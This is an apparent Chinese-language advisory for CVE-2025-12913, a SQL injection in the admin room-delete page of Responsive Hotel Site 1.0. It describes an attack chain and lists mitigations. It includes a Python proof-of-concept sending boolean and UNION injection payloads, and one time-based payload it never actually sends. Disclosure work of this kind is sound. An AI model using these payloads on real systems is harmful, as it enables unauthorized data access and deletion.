IPBUF安全漏洞报告
English
CVE-2025-12913 CVSS 4.7 中危

CVE-2025-12913: code-projects Responsive Hotel Site 1.0 SQL注入漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-12913
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
code-projects Responsive Hotel Site 1.0

相关标签

SQL注入CVE-2025-12913code-projectsResponsive Hotel SiteWeb应用安全管理后台漏洞认证后攻击数据库安全

漏洞概述

CVE-2025-12913是code-projects开源项目Responsive Hotel Site 1.0中的一个中等严重性SQL注入漏洞。该漏洞存在于管理后台的客房删除功能中,具体位于/admin/roomdel.php文件。攻击者可以通过操纵HTTP请求中的ID参数来注入恶意SQL代码,从而实现未授权的数据库操作。由于该漏洞需要高权限认证才能利用,但可远程发起攻击,因此CVSS评分达到4.7分(中等)。漏洞影响系统的机密性、完整性和可用性,可能导致敏感数据泄露、数据库破坏或服务中断。

技术细节

该SQL注入漏洞存在于/admin/roomdel.php文件中的ID参数处理逻辑中。攻击者通过构造恶意的ID参数值,可以在SQL查询中注入额外的SQL语句。在典型的SQL注入利用中,攻击者可能会尝试:1)通过UNION SELECT提取数据库中的敏感信息(如管理员凭据);2)使用AND或OR条件构造布尔型盲注来推断数据;3)通过时间延迟函数(如SLEEP())进行时间盲注攻击。由于该参数直接拼接到SQL查询中而未经过充分的输入验证和参数化查询处理,攻击者可以突破应用层的SQL语句边界,执行任意数据库操作。攻击者需要具备管理后台的访问权限才能发起有效攻击。

攻击链分析

STEP 1
步骤1
攻击者访问目标网站的/admin/roomdel.php页面
STEP 2
步骤2
攻击者获取管理后台访问权限(通过合法凭据或其他方式)
STEP 3
步骤3
攻击者拦截客房删除请求,构造包含SQL注入载荷的ID参数
STEP 4
步骤4
使用UNION SELECT、布尔盲注或时间盲注等技术提取数据库中的敏感信息
STEP 5
步骤5
攻击者可能进一步利用获取的信息进行权限提升或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12913 SQL Injection PoC for Responsive Hotel Site 1.0 # Target: /admin/roomdel.php # Vulnerability: SQL Injection via 'id' parameter import requests import sys def exploit_sql_injection(target_url, cookie=None): """ SQL Injection PoC for CVE-2025-12913 Demonstrates blind SQL injection on id parameter """ # Normal request (should succeed if valid id) normal_payload = "1" # Boolean-based blind SQL injection # Extract database version using substring exploit_payload = "1' AND 1=1 -- " headers = { 'User-Agent': 'Mozilla/5.0', 'Accept': 'text/html' } if cookie: headers['Cookie'] = cookie # Test with normal ID normal_url = f"{target_url}/admin/roomdel.php?id={normal_payload}" response1 = requests.get(normal_url, headers=headers) # Test with SQL injection payload exploit_url = f"{target_url}/admin/roomdel.php?id={exploit_payload}" response2 = requests.get(exploit_url, headers=headers) # Time-based blind SQL injection example time_payload = "1' AND SLEEP(5) -- " time_url = f"{target_url}/admin/roomdel.php?id={time_payload}" print(f"[*] Target: {target_url}") print(f"[*] Testing normal request: {normal_url}") print(f"[*] Status: {response1.status_code}") print(f"[*] Testing injection: {exploit_url}") print(f"[*] Status: {response2.status_code}") # Union-based injection to extract data union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8 -- " union_url = f"{target_url}/admin/roomdel.php?id={union_payload}" response3 = requests.get(union_url, headers=headers) print(f"[*] Testing union injection: {union_url}") print(f"[*] Status: {response3.status_code}") return { 'normal_status': response1.status_code, 'injection_status': response2.status_code, 'union_status': response3.status_code } if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12913-poc.py <target_url>") print("Example: python cve-2025-12913-poc.py http://localhost/hotel") sys.exit(1) target = sys.argv[1] exploit_sql_injection(target)

影响范围

code-projects Responsive Hotel Site 1.0

防御指南

临时缓解措施
在修复前,可以采取以下临时缓解措施:1)限制管理后台的访问来源,仅允许受信任的IP地址访问;2)实施强制的多因素认证机制;3)监控和记录所有对/admin/roomdel.php的请求;4)临时禁用客房删除功能或实施人工审核流程;5)部署Web应用防火墙规则来检测SQL注入特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表